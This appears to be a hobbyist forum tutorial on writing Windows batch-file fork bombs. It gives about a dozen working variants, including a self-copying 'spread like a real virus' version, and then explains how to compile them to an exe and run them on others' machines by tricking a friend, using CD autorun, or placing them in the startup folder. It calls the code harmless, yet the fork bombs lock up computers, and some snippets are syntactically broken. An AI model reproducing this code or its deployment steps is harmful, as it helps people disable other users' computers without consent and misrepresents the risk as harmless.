Fork bomb {complete tutorial}

this will teach you how to make a harmless fork bomb program which will lock up a computer when run.

note:
yes you can modify this to make a DOS error but im not going to be the idiot to tell you how

Step 1: Making the .bat

open up notepad and enter the following text:
:fork
start %0
%0|%0
goto :fork

save it as something.bat
to the desktop


there are about a million different ways to do this, i gave you disputably the best one, other variants include:

my favorite is the spread like a real virus bomb

explorer bomb:
:e
start %0
start C:\Windows\explorer.exe
%0|%0
goto :e

program bomb:
:e
start %0
start anyprogramyouwant
%0|%0
goto :e

the mini bomb:
%0|%0

inefficient bombs:
#1:
:e
start
start
start
goto :e

#2:
:e
start cmd.exe
goto :e

#3
:e
start (name of the batch file)
goto :e

slap in the face for deleting this bomb:
IF (DELETE whatever.bat) goto :e
IF (ERASE whatever.bat
:e
start %0
%0|%0
goto :e

matrix bomb:
@echo off
color 0a
:x
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% (lots of randoms)
start %0
%0|%0
goto :x

spread like a real virus bomb:
:e
copy /Y %0 %random%.bat
start %0
%0|%0
goto :e

alphabet fork:
:a
start %0
%0|%0
goto :a
:b
start %0
%0|%0
goto :b
:c
start %0
%0|%0
goto :c
:d
start %0
%0|%0
goto :d
:e
start %0
%0|%0
goto :e
:f
start %0
%0|%0
goto :g
:h
start %0
%0|%0
goto :i
:j
start %0
%0|%0
goto :j
:k
start %0
%0|%0
goto :k
:l
start %0
%0|%0
goto :l
:m
start %0
%0|%0
goto :m
:n
start %0
%0|%0
goto :n
:o
start %0
%0|%0
goto :o
:p
start %0
%0|%0
goto :p
:q
start %0
%0|%0
goto :q
:r
start %0
%0|%0
goto :r
:s
start %0
%0|%0
goto :s
:t
start %0
%0|%0
goto :t
:u
start %0
%0|%0
goto :u
:v
start %0
%0|%0
goto :v
:w
start %0
%0|%0
goto :w
:x
start %0
%0|%0
goto :x
:y
start %0
%0|%0
goto :y
:z
start %0
%0|%0
goto :z
:bob
start %0
%0|%0
goto :bob

Step 2: Convert to exe

download bat to exe converter
http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html
extract it to the desktop and run it
chose your something.bat for the batchfile and an icon if you want
press compile
there should be a something.exe on your desktop

Step 3: Deploy

now this can be run on any machine that runs exe's
you can trick a friend into running it once for fun, or you can use it with an autorun.ini on a cd to make it run as soon as its inserted
or you could be more deviant and make it run every time the user logs in, to do this just drag and drop it to the startup folder in the start menu

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